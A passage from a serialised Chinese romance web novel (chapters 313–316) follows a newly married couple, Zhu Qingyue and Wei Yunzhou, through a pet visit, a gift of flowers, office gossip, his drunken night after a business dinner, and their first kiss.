就算他可以请专人养,但也容忍不了猫猫狗狗在他漂亮的房子里拉屎。 所以他还挺佩服宋潭,一个人能用这么大的院子养这些宠物。 后院打理得再干净,但还是有一股味儿,魏云舟有点嫌弃。 祝卿月倒是不嫌脏也不嫌累,他不知道哪根神经搭错了,突然说:“你要实在喜欢,可以把它带回去。” “带回去?”祝卿月一愣,“你不是不喜欢吗?” “你喜欢不是吗?” 我喜欢你就让我带回去吗?魏云舟,你故意的吧? 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!一些想要说的话噎在喉咙,最后化为一句:“不用了。” 她的回答完全在意料之外,魏云舟还以为她会欣然答应。 “为什么?”他蹙眉,“你不是喜欢它?” “喜欢就一定要拥有吗?”祝卿月反问,“月亮已经习惯了这里,还有这么多的好朋友,我要是把它带回去,它一只猫多孤单啊。” “你还想养多少只在家里吗?”魏云舟试探性地问。 祝卿月被逗笑:“都说不养了,看把你吓的。” “带它回去还是可以的。”魏云舟指了指懒骨头的猫,“省得你总是往这里跑。” “往这里跑怎么了?我没有交朋友的权利了?”祝卿月下意识反驳了一句。 魏云舟刚要说话,门口传来按密码的声音,两人同时转过头。 进来的丁怡下意识往祝卿月那儿走:“你怎么在这儿啊?” “月亮生病了,我来看看。”祝卿月起身,指了指魏云舟,给她介绍:“魏云舟。” 魏云舟微微颔首:“你好。” “你好你好。”丁怡忙不迭应了声。 “你拎着什么?”祝卿月碰了下她手中用布包裹着的东西。 “咸菜啊,我妈做的,宋潭喜欢,我给他送点,没想到你们都在。” 宋潭听到动静,从厨房出来,说:“我就知道你今天回来,正好进来给我帮忙。” “行。”丁怡无语地跟过去,“他俩是客人,我是牛马。” 宋潭给了她一个眼神,进了厨房后才说:“你那魏大总裁像是能使唤的动的人吗?他都使唤不动了,你还指望去使唤祝卿月?” “我看只有我们三人的时候,你也只使唤我,你不会真喜欢她吧?” “我真服了,我要是喜欢她,还轮得到魏云舟吗?”宋潭逻辑分明,“赶紧把这虾处理了。” “来了。”丁怡卷起袖子就开干。 丁怡的妈妈做咸菜一绝,祝卿月尝过,也喜欢吃,中午吃饭的时候,她瞥了一圈,没见到咸菜,问: “怎么没倒一点咸菜出来尝尝?” 丁怡:“……谁家大中午吃咸菜?” 魏云舟干咳一声:“宋老师做了这么多菜,还是吃这个吧。” 那咸菜齁人,吃多了对身体不好。 “不好意思。”祝卿月对宋潭道歉,“没有说你做饭不好吃的意思,我就是想尝尝,好吃的话我带点回去。” 这下轮到丁怡咳嗽了:“那什么,这次我妈做的有点咸了,不符合你的口味,下次吧。” 她也不怕魏云舟把她的咸菜扔了。 “没关系。”魏云舟说,“下次再讨要一点吧,我在雁清的时候,偶尔会有邻居送腌制的小菜给我妈,我小时候也挺喜欢吃的。” 丁怡和宋潭对视一眼,可以啊,接地气。 祝卿月高高兴兴应了声。 魏云舟没有意外宋潭做的饭菜好吃,因为卖相看着不一样,只是看着满桌的辣菜,祝卿月略有心虚地朝他笑了笑: “我忘了跟他说你不吃辣。” “抱歉,我也忘了问你。”宋潭将糖醋排骨和香菇青菜换到魏云舟面前,“你吃这个吧,这两道菜完全不辣。” 魏云舟:“好。” 祝卿月说:“宋潭其他的菜烧得也很好吃,要不用白开水涮涮?” 魏云舟蹙眉:“不用,这个吃法太脏了。” “呃。”祝卿月一噎,“那行吧。” 丁怡和宋潭一直观察着两人的相处,莫名觉出两分甜。 本来他俩都为祝卿月忧心的,尤其是丁怡,今天第一次见面,她觉得魏云舟和祝卿月说不定真能这么过下去。 魏云舟在餐桌上不算冷淡也不算健谈,但最起码能和宋潭、丁怡对上话。 两个女生比他俩先吃完,祝卿月自告奋勇要去给月亮喂饭,丁怡陪她一起去了。 “你老公可以啊,没什么少爷架子,就是表情冷了点。” 祝卿月摸了摸猫头,突然转头对丁怡说:“我可能对他有点动心了。” “这么快?”丁怡惊呆了,“你是不是没有谈过恋爱一时上头了?” “没有,我清醒得很。”祝卿月说,“我占据了他妻子的这个身份,得到了他无限的包容和支撑,我觉得这样过一辈子也不错,我就是个拍照的,你觉得祝家将来会给我留什么财产吗?最起码在魏家,他能保证我和我妈一辈子不受欺负。” 丁怡按住她的肩:“你这想法其实挺对的,祝雨欣一直和你不对付,你要是没个靠山,她找你麻烦是轻而易举的事,最关键的是,还有……” 话说一半,丁怡止住了话头。 祝卿月点了点头:“我知道你要说什么,放心,我又不是傻子,会抱住魏云舟这棵大树的。” 丁怡失笑:“一开始的时候你还存了离婚的念头,这才多长时间啊,你竟然都交出去半颗心了。” “没办法啊,太有魅力了。”祝卿月跟她开玩笑,“他家里人也好,我很喜欢。” “再夸就上天了啊。”丁怡抵了抵她,“其实只要你幸福,我跟宋潭就能放心了。” 本小章还未完,请点击下一页继续阅读后面精彩内容!宋潭和魏云舟一左一右倚在院子的门框上,两人离得远,听不到祝卿月和丁怡说了什么。 宋潭却轻笑一声,对魏云舟说:“你相不相信她俩在说你?” “说我?”魏云略微有些惊讶,“她经常在你们面前提到我吗?” “这倒没有,不过我看她的状态,她和你在一起,应该挺开心的。” 魏云舟勾了勾唇:“开心就好。” “我还以为你们这种家庭会对媳妇要求很多呢?”宋潭失笑,“说实话,一开始她要和你结婚的时候,我还担心来着。” “理解。”魏云舟说,“她跟我说你是岳母资助的学生,你把她当妹妹?” “一开始我就想着报恩,因为她没有爸爸,我想着她有需要我的地方,我肯定拼尽全力也得给她办了,但毕竟是祝家的小姐,我哪里有资格把她当妹妹,也就是这几年祝家越来越过分,我看不下去,会阴阳怪气几句罢了。” “如今好了,她有你,应该不会再被欺负了。” “欺负”两个字,宋潭咬字重了些。 魏云舟给了宋潭一个睁眼,似是承诺:“不会。” 宋潭笑了笑:“那就好,希望你以后好好对她。” 魏云舟点了点头,觉得自己把宋潭当祝卿月前男友这事是傻逼行为。 同时,他对祝卿月也有那么一点歉意。 他思索片刻,掏出内侧口袋里的手机,朝宋潭扬了扬:“我去打个电话。” “请便。” 祝卿月回来的时候,没看见魏云舟,她四处张望着,宋潭在她面前打了个响指: “别看了,人打电话去了。” “哦,可能有事要忙。”祝卿月将猫给他,“饭喂完了。” 宋潭摸了摸月亮,说:“下午别走,晚上留下来再吃一顿。” “行,丁怡也在这儿,咱们四个搓麻将去吧。” “你老公会啊?” “他应该会吧。” 魏云舟确实会,小的时候总陪楚茵玩。 魏云舟看祝卿月兴致盎然,也就没有扫兴,在宋潭这儿连吃两顿,两人直至晚上九点才开车回家。 十点多,两人并肩进了门厅,祝卿月倏地脚步一顿,眼前有一捧巨型粉荔枝花束拦住了她的去路。 “这是什么?”她看向佣人,佣人却摇摇头,盯着她和魏云舟笑。 魏云舟说:“我买的,送你的。” “……”祝卿月又是一愣,“为什么突然送我花啊?” 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第314章 先婚后爱(11) 魏云舟没有回答,而是将她带到花束旁问:“喜不喜欢?” “喜欢啊。”祝卿月点了点头,“看着心情都好,谁能不喜欢?” “喜欢就好。”魏云舟神情有些别扭,“我之前误会了你和宋潭的关系,给你道歉的。” 祝卿月一愣,那她和黎梦说的那些话……可是瞒着他的。 魏云舟在干什么?搞夫妻坦诚那套吗?这也太坦诚了,不都说夫妻也要保持适当的空间吗? 祝卿月心虚了片刻,有些纠结要不要跟他说这件事。 “我先洗澡去。”魏云舟低头嗅了下自己的衣服,总觉得有些味儿。 祝卿月的坦白搁浅,她笑了笑:“你去吧,我把这些花处理一下,放在这里有点碍事,家里有花瓶吗?” “找管家要。”魏云舟说。 “好。” 管家有先见之明,早把公馆里的花瓶拿了出来,各式各样。 花太多,花瓶没能够全都放下,祝卿月看着剩下的犯难。 “太太,您先休息去吧。”管家过来说,“剩下的花我给您处理。” “行吧。”祝卿月指了指其中两个白花瓶的,“这两个送到三楼去吧。” 管家颔首:“好的。” 祝卿月回到三楼时,魏云舟已经洗过了澡,看见她,语气都急了两分:“赶紧去洗澡。” 祝卿月失笑:“就你这闻不得猫狗味道的竟然还要把月亮带回来?” 魏云舟:“……” 他当时其实说完就后悔了,脑子里浮现十八种方案,想着家里的佣人会把那猫照顾得干干净净。 看她实在喜欢,一时冲动就说了。 “诶?”祝卿月故意跟他开玩笑,“我当时要直接说把月亮带回来,你岂不是要懊悔?” “谁懊悔?”魏云舟微抬下巴,“我既然让你带回来,就不会再去后悔。” 毕竟话是他自己说的。 祝卿月哼笑:“我先去洗澡了,你先别睡,我想跟你说件事。” “什么事?”魏云走下意识问,“现在不能说?” 祝卿月眼珠子一转,看透他表里如一的正经,故意逗他:“夫妻夜话。” “……” 见魏云舟呆滞模样,祝卿月笑了声,转头进了浴室。 魏云舟好半晌才转圜过来,他刚才是被调戏了吗?祝卿月的胆子已经这么大了? 都能跟他开玩笑了,一开始来丹枫公馆的时候,可是低眉顺眼的。 魏云舟站了会儿,忽然低笑了声,看到两边床头的花束,他“啧”一声:“这个花不能放床头。” 当即叫了管家处理了,管家本以为祝卿月是要放三楼客厅,见她放床头也是一愣,朝魏云舟道歉是自己没有及时提醒。 祝卿月洗完澡出来,没在床头看到自己的花,疑惑地看向魏云舟:“你把花拿走了?” “嗯。”魏云舟点点头,“粉荔枝好闻是好闻,但含糖量高,容易滋生细菌,释放的气体不利于睡眠。” “我不知道。”祝卿月挠了挠头,“不过你怎么知道这些?” “我妈有段时间喜欢这花,我爸总买。”一两句的事,他就记住了。 祝卿月“哦”了声:“我就是觉得它好闻才拿上来的。” 床铺一侧微微塌陷,魏云舟看了眼时间,问她:“你要和我说什么?” 祝卿月嗓子里黏黏糊糊犹豫片刻,说:“关于黎梦的,我私下和她接触过。” “你跟她接触干什么?” “关于称呼的问题。”没有太过纠结,祝卿月没有将黎梦喜欢他的事情告诉他,就算魏云舟要知道,她觉得也不应该她来说,“她叫我祝小姐,我说我结婚了,两人顺着话拌了几句嘴。” “你没事吧?”魏云舟第一时间关心老婆。 “我能有什么事,只是我很好奇,你把她当什么?朋友?青梅竹马?”祝卿月盯着他的眼睛问。 魏云舟连男性朋友都少之又少,他又不爱玩,和黎梦更称不上朋友。 “青梅竹马谈不上,只是从小就认识。”魏云舟实话实说,“朋友的话,如果是你和丁怡的那种关系,应该也不算,就是熟人罢了。” 祝卿月:“……” 那这小公主还以魏云舟的青梅自居,要不是他结婚了,只怕就要以女朋友自居了。 其实对祝卿月来说,她那晚的举动已经很挑衅了。 “不过我学业结束回国那年,两家的长辈有意撮合。”魏云舟突然说。 “嗯?”祝卿月一惊,“那怎么没成?” 按理说,黎梦不得满心欢喜? “我无法想象和她生活一辈子。”黎梦的骄纵脾气他不喜欢,长相他也不喜欢。 即便要联姻,要结婚,他也得找个顺眼的。 人都是视觉动物,祝卿月比黎梦好看,各种各样的小表情灵动嫣然。 他会选择她,一点不奇怪。 起初联姻的时候,魏思嘉问她有没有什么标准,他很俗不可耐地来了句:“漂亮就行。” 魏思嘉一怔,大侄子端方自持的人设顿时崩塌了,褪去魏家二少爷的光环,也不过是个普通庸俗的男人。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“漂亮?云舟,你的回答跟我想象的不太一样。”魏思嘉当时问了这么一句。 “这有什么难理解的。”魏云舟说,“联盟的婚姻大多没什么感情,但有一张漂亮的脸蛋,最起码看着赏心悦目,当然,我是因为自己有这张脸才会这样要求。” 魏思嘉当时都被他整无语了。 “那你跟我就能过一辈子了?”祝卿月心情不错,“别说你当时没有考虑过这个问题。” 魏云舟失笑:“你想听真话?” “废话。”祝卿月小声嘀咕,“谁想听假话?” 魏云舟轻笑:“因为你漂亮呗。” “……因为人家漂亮要和别人过一辈子?”祝卿月瞪着眼睛,“那比我更漂亮的出现,你也能跟别人过一辈子了?” 魏云舟刚要回答,盯着那双闪烁冒火的大眼睛,问:“你吃醋了?” “谁吃醋了?”祝卿月像跳起的蚂蚱,“我只是好奇你会怎么回答,咱俩毕竟是夫妻,我在意这个答案也不意外吧,万一你哪天把我踹了……” 最后一句话,她说得黏黏糊糊又小声,魏云舟却听清楚了。 他蹙眉:“胡说什么?咱俩领了证了,我怎么踹你?” 祝卿月耸了耸肩:“结婚证有什么用?” “那钱和房子有用吗?”魏云舟简单粗暴。 “你不会要给我钱和房子吧?”祝卿月状似受宠若惊,“别这样,咱俩还没到那个地步。” “你大伯不懂事,但岳母却尽量给你添置了嫁妆,我这边自然也有彩礼,只多不少,以后都是你的。” 祝卿月瞪大眼睛:“那我银行卡怎么空空如也啊?” “还没清算好。”魏云舟说,“我名下财产繁多,已经找人去办了。” 祝卿月:“……” 对不起,是她高攀了,这棵大树可能真被她抱上了。 祝卿月美滋滋地看着魏云舟,魏云舟忽然用食指按住她脑门:“笑什么?” “笑我可能成为一个小富婆。”祝卿月说,“原来结婚还有这好处。” “那是因为你遇到的是我。”魏云舟都不忍心打击她,“普罗大众,现在有几个愿意结婚的,婚姻更应该付出资源。” “你说的不错。”祝卿月点点头,“丁怡和宋潭两个人就是不婚主义者。” 魏云舟嗤笑:“两个不婚主义者?不会最后搞一起了吧?” 祝卿月说:“我还真撮合过他们两个,其实他们两个的生活节奏很合拍,但就是没什么进展,可能就是缺一些男女方面的缘分。” “按理说宋潭孤身一人,渴望家庭才对,他怎么和别人反着来了?” “每个人的想法都不一样,他有学生,有猫狗,有三五好友,好像也足够了。”祝卿月感叹一声,“我妈还劝过他结婚,但最终也不了了之。” “岳母现在还会劝吗?” “不会了,毕竟是宋潭自己的事,她也不好腆着脸以长辈自居。” 夫妻俩一人一句,说着说着,声音都小了下去。 魏云舟小声道:“困了就睡吧。” “嗯。” 翌日一早,祝卿月醒来的时候,魏云舟已经上班去了。 本来是一个平常的早上,却没想到阿姨一直盯着她笑。 祝卿月怀疑自己是不是熊猫眼了,问:“我有什么失礼的地方吗?” 阿姨摇摇头:“先生走的时候,带走了一大捧的花,说要摆在办公室。” 祝卿月:“……这花适合摆办公室吗?” 算了,本来就是他买的,他就是撕了冲马桶也是他的自由。 魏云舟带花到办公室的事,没要半天,从27楼传到了13楼。 不管是开会还是去吃饭,他的回头率比任何一天都要高。 魏云舟转头问助理:“什么情况?都盯着我看什么?” 助理说:“您早上带来一捧粉荔枝,大家觉得稀奇,难免会讨论一番。” 魏云舟说:“我知道跟办公室不太搭,只不过是送我太太的,家里各个角落都满了,我才会带点来办公室。” “明白。” 魏云舟觉得自己已经解释清楚了,却没想到传到最后离谱至极。 从他的助理开始,一步错,步步错—— “小魏总的花是从家里带过来的,送给太太的太多了,带过来装点一下办公室。” “花是太太让小魏总带过来装点办公室的。” “我也听说是太太让带过来的,小魏总说了和办公室不搭,还是带了过来,这说明什么?” “说明小魏总妻管严呗。” “这是爱妻者风生水起,今天上午美创的李总和他太太来谈合作,因为桌上的花直接谈成了。” “你们有没有想过还有一种可能,小魏总舍不得离开他老婆,特意将家里的花带过来以解相思之苦。” “你说的也有道理。” “爱妻在他身上特别有说服力,你们别忘了咱们小魏总的爸爸和大哥,都是痴情种啊。” “有道理。” 一天下来,魏云舟成了爱妻如命的人设。 这章没有结束,请点击下一页继续阅读!祝卿月对此丝毫不知,只是晚上魏云舟回来,助理也跟着过来取一份文件,对她的态度更恭敬了。 三步就要鞠一躬,惹得祝卿月以为自己怎么他了。 直至助理离开,她才问魏云舟:“他怎么了?怎么好像很怕我的样子?” “有吗?”魏云舟没有注意,“对你尊重是应该的。” 祝卿月:“……他尊重过头了。” 魏云舟:“那我提醒他一声,魏太太为人大肚,胸襟海纳,让他正常一点。” “……你在损我吧。” 魏云舟轻笑:“我明天晚上可能有应酬,不要等我,自己先睡。” “好。”祝卿月说,“我回去陪我妈一天吧。” 魏云舟:“也行,随你高兴。” 祝卿月确实好些天没回,谢莹看到她的时候着实高兴了许久。 “妈,我怎么感觉你胖了点,脸都好看了。” “是吧?”谢莹摸了摸自己的脸,“心情好,气色也就好了,能吃能睡,能不胖吗?” “看来大伯母那边没有找茬。”祝卿月笑了声,“是吧?” 谢莹点了点头:“是,这不托了女婿的福嘛。” 祝卿月莞尔:“您现在是真爱开我玩笑。” “你今天怎么会回来?”谢莹问,“女婿晚上过来吃饭吗?” 祝卿月说:“他有应酬,我们自己吃自己的。” 谢莹叹气:“我就是想咱们三个吃顿饭,不过不急,来日方长。” “过两天要去雁清,您想吃就陪您吃呗。”祝卿月说到这里,心情也好了不少。 谢莹吩咐阿姨准备晚饭,母女俩吃完又相偕散步。 就在祝卿月送谢莹回房的时候,接到了魏云舟助理的电话。 这定然是有事,祝卿月当即就接了。 “太太,小魏总喝醉了,您能来一趟吗?” “你们在哪儿?”祝卿月问。 助理说了地址后,祝卿月当即和谢莹告了别。 祝卿月有点好奇,魏云舟喝醉了,助理送他回来就是,怎么一定要打电话给她呢? 直至到了会所,进了包厢才知道他眯着眼睛似睡非睡。 “什么情况?”祝卿月问助理。 助理:“小魏总不让别人碰,我没办法,只能把您给叫过来试试。” 祝卿月心里一个咯噔,她万一也不行怎么办? 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第315章 先婚后爱(12) 祝卿月走过去,稍稍倾身:“魏云舟?” 魏云舟脸色巨变,有嫌恶有愤怒:“离我远点。” “怎么了这是?”祝卿月明显察觉到他的不对劲,抬头问他的助理。 助理干笑一声:“今晚发生了点事。” “什么事?”祝卿月蹙眉,“直接说。” “呃……美菲的薛总叫了几个女生过来……” “呵……”祝卿月冷哼一声,“知道了,别说了。” “您可千万别误会小魏总。”助理赶紧给他解释,“就是因为总有女孩要凑上来,他才喝醉也不让碰。” 祝卿月问他:“谈生意离了女的不行吗?” “我们小魏总自然行啊。”助理苦笑一声,“那不是别人不行嘛,咱们小魏总也管不了别人啊,只能管住自己呗。” 跟在魏云舟身边三四年了,助理深知他的为人,即便没结婚,也绝不可能乱来。 祝卿月推了下魏云舟的肩膀:“魏云舟,醒醒。” 魏云舟刚要不耐烦地呵斥,被祝卿月两只手捧住了脸,甚至因为力气过了些,让他咧成了金鱼嘴。 “我是祝卿月,你看清楚,要不要跟我回家?” “祝卿月?”魏云舟呢喃了句,“回……回家。” “那你配合一下,让你助理帮着你上车,我可弄不动你。” “好。” 助理对祝卿月刮目相看,喝醉的小魏总都能听她的话,可见她在小魏总心里的地位。 “来。”祝卿月托住魏云舟一条胳膊,对他的助理说,“咱俩一人一边,赶紧给他弄车上去。” 祝卿月开的自己的车,和助理好不容易将魏云舟弄上车后,祝卿月气喘吁吁地转头: “好了,我自己带他回去,今晚辛苦你了。” “我还是和您一起吧,车我来开,我怕小魏总在后面需要照顾,给您送到家,我再回来开自己的车回去。” “那也行。”祝卿月将车钥匙扔给了他,自己上了后座,挨着魏云舟。 魏云舟酒品还不错,喝醉了也安安静静的,锐利磨平,眼神都迟钝了许多,看着像笨蛋。 祝卿月难得可以光明正大打量他,这才发现他鼻梁好挺,睫毛好长…… 一路无惊无险,顺利抵达丹枫公馆。 助理和管家一同将人架上了三楼,这才同祝卿月告别。 祝卿月没有照顾醉酒的人的经验,便让保姆照顾他。 忙了一晚上,淌了一身的汗,她刚要去洗澡,佣人尴尬地拦住她: “先生不让人近身。” 祝卿月一愣:“不让人近身,那你们以前怎么照顾他的?” “以前也没有这种需要人近身照顾的情况,这是他第一次喝醉酒。” “那我应该怎么做?”祝卿月愣愣地问。 “您帮他先把衣服脱了吧,喂个醒酒汤,擦洗一下就可以让他先休息了。” “行。”祝卿月说,“今晚给我另外准备一间房。” 她愿意照顾魏云舟并不代表她可以一夜都被酒气环绕,显然,他今晚喝了白酒。 “好,我去给先生拿睡衣。” 祝卿月点了点头,伸手去解魏云舟的领带,这个很好解,只是扯出来时费了点工夫。 睡衣和醒酒汤同时被送进卧室,祝卿月自觉地抱起魏云舟的头,让他靠在自己身前。 她低头拍了拍他的脸:“魏云舟,把醒酒汤喝了。” 魏云舟迷迷糊糊睁开眼睛,佣人趁机将醒酒汤堵至他唇边,他偏头一躲,差点把汤匙蹭掉。 “我来。”祝卿月空出一只手伸过去,“往前来一点。” 祝卿月舀了一汤匙的汤,在魏云舟耳边小声威胁:“你要是不喝,我就灌了,衣服湿了可别怪我,还有,你身上的酒味好臭。” 听到“好臭”两个字,魏云舟的眼神呆滞了一瞬,奇迹般地睁开了眼睛。 祝卿月忍着笑,将汤匙堵到他唇边:“喝掉。” 魏云舟乖乖张了嘴,佣人在一旁看到,表情惊讶了一瞬。 醒酒汤喂完,卧室里只剩下祝卿月和魏云舟两个人。 魏云舟长长舒出一口气,又闭上了眼睛,他想着歇会儿去洗澡,颈间的衣领忽然被拉开。 他下意识握住对方的手腕:“你要干什么?” “给你脱衣服啊。”祝卿月说,“你又不让人碰,要不让阿姨来给你脱?” 魏云舟五指一松,任由祝卿月给他脱掉西装外套。 “你稍微起来一点……很重啊,你能不能配合一下……还有这只袖子……呼,累死我了……” 魏云舟瘫坐在床头,忽然轻笑一声:“好了,我自己脱吧。” 祝卿月怔了一瞬,随即坐直了身体,对哦,他已经醒了,完全可以自己脱衣服,她还上赶着干嘛? “那……”祝卿月瞥了眼他的锁骨,“你自己脱吧,我洗澡去了。” “等一下。”魏云舟抓住她手腕,“陪我聊会儿天,我怕自己睡着。” “睡着就睡着呗,你现在需要休息。”祝卿月说。 “我还想去洗澡,不然睡不着。”魏云舟说,“不过要醒醒酒气。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!祝卿月“哦”了声:“你要说什么?” “随便吧。” “……我确实好奇一个问题。”祝卿月看着他,“你平时应酬也没见你喝醉,今晚怎么了?心情不好?” 魏云舟说:“没有心情不好,不知不觉喝多了。” 祝卿月意味不明地哼了声:“别是小姑娘敬酒敬多了,某些人不好意思拒绝吧。” 魏云舟倏地坐直了身体:“谁跟你说的?” “你这么凶干什么?”祝卿月下意识往后退去,“你就说有没有小姑娘。” 魏云舟脑子一转就知道是助理说的,他松了口气,说:“跟我没关系,生意谈一半那些人进来了,我有点烦躁,只能喝酒。” 祝卿月失笑:“最后还是没有忍住,把人全都撵走了?” 魏云舟无奈浅笑:“后来人都走了,我越想越气,又多喝了几杯。“ “……真搞不懂你的脑回路了,喝醉的是你,难受的也是你。”祝卿月小声道。 “我也没想到你会过来。” “方助理叫我过去的,我还能装听不到吗?他说你喝醉了不让碰。”祝卿月哇哦一声,“我们小魏总洁身自好哦。” “我这是有道德标准。”魏云舟说。 所以他管不住别人,就只能自己生闷气?有点可爱是怎么回事。 她甚至都能想象得到魏云舟当时的表情。 “不过生意场上什么人都有。”魏云舟又立马补充,“说句讽刺的,这些在他们看来不算什么。” 他才是那个异类。 “魏云舟,我突然庆幸我是嫁给了你。”祝卿月看着他的眼睛,十分真诚,“在你之前,我大伯要把我嫁给王家的纨绔,我一次两次或许躲得过,三次四次就未必了。” 魏云舟突然攥了下拳头,他知道她说的都是真的。 祝卿月第一次见他就很不情愿,是谢莹一直在打圆场,第二次见他态度软了很多,想必是他岳母跟她说了些什么。 他当时其实有些自负,觉得对于祝卿月来说,自己是她最优选。 不过他也没有兴趣强迫人,直至接到祝家的电话,他才露出一个意料之中的笑。 魏云舟轻笑:“看得出来你一开始不太情愿。” 祝卿月轻笑:“我可没你这么高的觉悟,我也无法想象和一个人生活一辈子。” 这个世界很奇怪,夫妻之间,有感情能生活一辈子,没有感情也能生活一辈子。 魏云舟说:“我们现在不就挺好的。” “是啊。”祝卿月似有所感,“确实挺好的。” 说着挺好的两个人,心里却不太得劲,祝卿月可能还能摸清点头绪,魏云舟完全摸不着边。 卧室陷入安静,半晌都没人开口,祝卿月怕继续待下去会很尴尬,便道: “我先去洗澡了,你歇会儿再去吧,或者定个闹铃。” “嗯,你先去吧。”魏云舟应了声。 佣人给祝卿月收拾出来的是二楼的客房,她洗澡的时候,魏云舟叫了阿姨去换了新床单。 洗完澡,魏云舟看着空空如也的床铺一愣,祝卿月呢?难道她还洗澡? 不应该啊,这都一个小时过去了。 魏云舟出了卧室,在三楼没看到她的人影,他当即给管家打了电话,这才得知她去了二楼的客房。 魏云舟原地站了片刻,转头去了二楼。 祝卿月已经睡着了,魏云舟轻手轻脚在床边坐下。 这是嫌弃自己了? 魏云舟低头嗅了下自己,只有沐浴露的香味了。 他瞅了下祝卿月床边的位置,没有犹豫掀开了被子。 一瞬间,祝卿月突然皱了下眉头,魏云舟要躺下去的动作僵在原地。 “不要过来……” 她还没睡?魏云舟以为自己被抓住了,说:“又不是没一起睡过。” “妈,妈!”祝卿月突然喊了声,“我在这儿……救我……” 魏云舟一愣,这是做梦了吗? 他抬手按住他肩膀,祝卿月突然尖叫一声:“不要碰我。” 随后她睁开了眼睛,素面朝天的脸上挂满了泪水。 魏云舟的心被狠狠一击,他不敢再去碰她,只是小声询问:“怎么了?做噩梦了吗?” 祝卿月擦去脸色的眼泪,避开他的视线摇了摇头。 “对不起。”魏云舟有些愧疚,“是我打扰你了,你睡吧,我去楼上睡。” 祝卿月忽然起身扑过去抱住他的腰:“别走。” 魏云舟怔住,垂眸看到两只纤细的手臂死死缠着他的腰。 “我、我做噩梦了。”祝卿月磕磕巴巴地说,“庞然大物,要来吃我的手脚,我逃不掉。” 魏云舟想笑,但忍住了,怎么做梦像个小孩。 “那我不走?”他微微侧眸,“在这里睡,还是去三楼?” “随你。” 魏云舟拉开她的手臂,说:“……就在这儿睡吧。” “嗯。” 魏云舟带着她躺下,和她面对面,室内微弱的灯线能够让他清楚地看到她眼眶的潮湿。 魏云舟抬起手,用指腹轻轻一扫,抹去她眼尾残留的泪:“睡吧。” 这章没有结束,请点击下一页继续阅读!祝卿月往前拱了下,见魏云舟没阻止,又往前拱,直至拱进了他怀里。 魏云舟心脏剧烈地跳动,从小到大没这样紧张过。 这是要自己抱着她睡吗?魏云舟试探性地环住她的腰背,但也只敢撑着劲儿,轻轻地搭。 祝卿月却像是得了什么信号,条件反射似的抱住他,抱得很紧很紧……两具身体贴合,几乎没剩缝隙。 魏云舟管不住心跳,只能一下一下拍着她的后背安抚。 祝卿月睡意全无,甚至不敢闭上眼睛。 这座温热的堡垒暂且安全,她想多感受一会儿。 两人静静抱了好久,祝卿月偷偷仰起头,发现魏云舟闭上了眼睛。 “魏云舟?”她用气声叫了声,“你睡着了?” 魏云舟没动,想看看她要干什么? 祝卿月抬手摸上他下巴,嘀咕道:“真睡了?” 魏云舟刚要出声,唇上传来很轻的触碰,有点痒,他霎时不敢动了。 她要干什么? 祝卿月往上蛄蛹,几乎与他平齐,她凑上前,一个吻落在魏云舟的唇上。 明明是蜻蜓点水,溅起的涟漪却让魏云舟心潮澎湃,他控制不住地睁开眼睛,和祝卿月四目相对。 有什么比被发现偷亲还要尴尬的事吗?祝卿月刚要开口解释,忽然眼前一道阴影压下。 她被魏云舟压在了身下,来不及解释,也来不及惊呼,她被密不透风地堵住了唇舌。 祝卿月蓦然睁大眼睛,她只是蜻蜓点水,他倒好,星火燎原了。 魏云舟第一次那么不稳重,横冲直撞地拿到了控制权,近乎急切地撬开祝卿月的牙关,勾缠一片柔软的湿润。 他想,第一次见祝卿月的时候,他就对她有好感了,不然他无法想象去亲吻这个人。 甚至越亲越上瘾,怎么都不够,可能还得寸进尺,撩开了人家的衣摆,摸到了一截软腰。 祝卿月闷哼一声,一把按住了要使坏的大手。 魏云舟理智归笼,拿出手,隔着衣服握着祝卿月的腰,唇上也不再急切,温柔地描绘着她的唇,来来回回捻了几次后,终于松开了她。 鼻息交缠,第一次亲密的余温久久不散。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第316章 先婚后爱(13) 卧室里安静到可以听到彼此的呼吸,祝卿月无法顶着魏云舟炽热的视线,率先转了脸。 魏云舟翻身躺回去,手却一步没放,将人搂在怀中。 时间不早了,他掌心摩挲着祝卿月的肩头,小声说:“睡觉吧。” “睡不着。”祝卿月仰起头,“谁大半夜被这么一通亲都会睡不着的。” 魏云舟失笑,手指上移捏住她的脸:“是你先动嘴的。” “我还以为你睡着了。”祝卿月脸蛋滚烫,却不想率先头像,硬撑着头皮说。 “那我也不过是礼尚往来。”魏云舟也不服输,“你要是不满可以再亲回来。” “…………”祝卿月滑进被窝,“睡觉。” 可算是睡了,魏云舟轻笑,跟着她一起闭上眼睛。 祝卿月没再做噩梦,第二天早上醒来的时候人还有点懵。 她看向另一边,那里早没了魏云舟的身影。 昨晚的一切像梦幻泡影,让她怀疑真实性。 似要证明,她一骨碌爬起来,沿着旋转楼梯一路向下,飞扬的裙摆就这么闯入了魏云舟的视线。 “你慢点。” 祝卿月听到他的声音脚下一顿,乱了节奏。 魏云舟打跨步上了楼梯,一把接住了她。 “你还没走?”祝卿月眼眸发亮,“醒来没看见你,以为你上班去了。” 魏云舟箍着她的腰,就这么将她抱到一楼,看见的佣人们纷纷笑着回避视线。 “放我下来。”祝卿月有点不好意思。 魏云舟松开她,抬手看了眼腕表,说:“要我陪你吃早餐吗?” 祝卿月抿着唇摇摇头,他要是有时间,不必问自然会留下来,这么问了,必然是没什么时间了。 魏云舟盯着她:“那我走了?” “去啊。”祝卿月不明所以。 魏云舟欲言又止,老江又进门催促,他只好接过佣人给的西装外套离开。 祝卿月顺势跟在他后头,想要送他到门口,刚出门厅,要去上班的人原路返回,揽着她的脖颈在她脸上亲了一口: “今晚没有应酬,等我回来吃饭。” 祝卿月愣愣地盯着那道略失沉稳的背影,摸上了脸上残留的余温。 直至迈巴赫没了影儿,她才转身上楼。 来到卧室,祝卿月直挺挺地趴了下去,两秒后,她使劲蹬了下腿,随后美滋滋地滚来滚去。 魏云舟又亲了她!昨晚真的不是错觉。 魏云舟此刻也有种恍然,一大早醒来看到祝卿月老老实实在自己怀中,他跟个傻子似的盯了半小时。 上班时间被打乱了节奏,他本应该直接去公司吃早餐,却硬生生在一楼熬着时间,直至她起床。 明明再不出来,会议就得迟到了,他还是回头给了她一个单纯的早安吻。 魏云舟摇头失笑,感觉不像他自己了。 